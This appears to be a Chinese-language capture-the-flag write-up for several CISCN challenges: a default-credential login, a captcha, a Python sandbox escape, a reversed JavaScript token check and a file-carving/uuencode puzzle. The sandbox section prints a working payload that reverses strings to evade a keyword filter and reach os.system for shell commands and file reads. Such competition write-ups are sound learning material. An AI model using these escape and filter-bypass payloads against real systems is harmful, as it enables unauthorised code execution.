EasyWeb
- post给login.php admin:admin 直接看到flag
ciscn{2a36b5f78a1d6a107212d82ee133c421}
验证码
- 随便点几个就出来flag了
- 复现的时候彻底改成了签到题目,输入一个验证码即可
ciscn{qqmxxxb1sxdbsm1qdedszfh7ih2h7zxj}
run
直接明了的python沙箱逃逸
>>>dir(__builtins__)
{'SyntaxError': <type 'exceptions.SyntaxError'>, 'NameError': <type 'exceptions.NameError'>, 'Exception': <type 'exceptions.Exception'>, 'raw_input': <built-in function raw_input>, '__import__': <function importer at 0x7f4d1f0b1a28>, 'ValueError': <type 'exceptions.ValueError'>}
- 尝试了一堆import,全被ban掉了
- 发现
__import__
可用,但是拼上的字符串还是会被ban掉 exec,execute
被ban掉func_globals
因为ls被禁止掉__builtins__
中getattr也被删掉了 — 尝试用类中的__getattribute__
方法替代getattr
- 然后拼接字符串或者反转拼出func_globals,绕过ls,即可getshell
>>>().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("slabolg_cnuf"[::-1])['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('cd /home/ctf;'+'sl'[::-1])
5c72a1d444cf3121a5d25f2db4147ebb
bin
cpython.py
cpython.pyc
sandbox.p
>>>print ().__class__.__bases__[0].__subclasses__()[40]('/home/ctf/5c72a1d444cf3121a5d25f2db4147ebb').read()
ciscn{df3ad5676c26b5f86278ea0634847e0f}
flag in your hand
发现会断到ck()函数下:
function ck(s) {
try {
ic
} catch (e) {
return;
}
var a = [100, 101, 102, 48, 118, 104, 102, 120, 117, 108, 119, 124];
if (s.length == a.length) {
for (i = 0; i < s.length; i++) {
if (a[i] - s.charCodeAt(i) != 3)
return ic = false;
}
return ic = true;
}
return ic = false;
}
a=[100, 101, 102, 48, 118, 104, 102, 120, 117, 108, 119, 124]
b=""
for i in a:
b+=chr(i-3)
print b
输入token: abc-securit
得到flag:IBIRKdUmzyBfidDyMZrWlQ
picture
题目给的是个png,010editor打开发现应该是一个jpg,binwalk发现一个zlib
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
38884 0x97E4 Zlib compressed data, default compression
from zlib import *
from base64 import *
import binascii
data = open('1.zlib','rb').read()
data = decompress(data)
data = b64decode(data)
open('1.zip','wb').write(data)
- 解码完发现是个base64继续解码,发现大概是个zip,开头个PK被改为了KP,改回来就行了
- 文件存在密码,里面有一个code文件
- 二进制编辑器看到的效果前面是一个压缩包后面有个pyton什么的,如下:
>>> ¨}¨}¨}
Traceback (most recent call last):
File "<pyshell#0>", line 1, in <module>
¨}¨}¨}
ZeroDivisionError: ¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨} <- password ;)
>>>
研究了半天没弄懂,后来用windows下好压打开才知道后面那一堆是备注,并且¨}被展示为一个黑块
>>> ▉▉▉
Traceback (most recent call last):
File "<pyshell#0>", line 1, in <module>
▉▉▉
ZeroDivisionError: ▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉▉ <- password ;)
>>>
这才看懂,除数为零,自己跑一下
>>> 1/0
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ZeroDivisionError: integer division or modulo by zero
integer division or modulo by zero
这个就是密码,黑块给了30个,好像个数有点不对…解开压缩包是如下密文
begin 644 key.txt
G0TE30TY[-T$X0T5$1D$V-#1".#<T,D8Y,3)!0CDQ-T4T-4%#,#9]
end
网上查到:
uuencode的开头是:
begin <模式> <文件名>
<数据>
end
解码网站:http://www.qqxiuzi.cn/bianma/uuencode.php
CISCN{7A8CEDFA644B8742F912AB917E45AC06}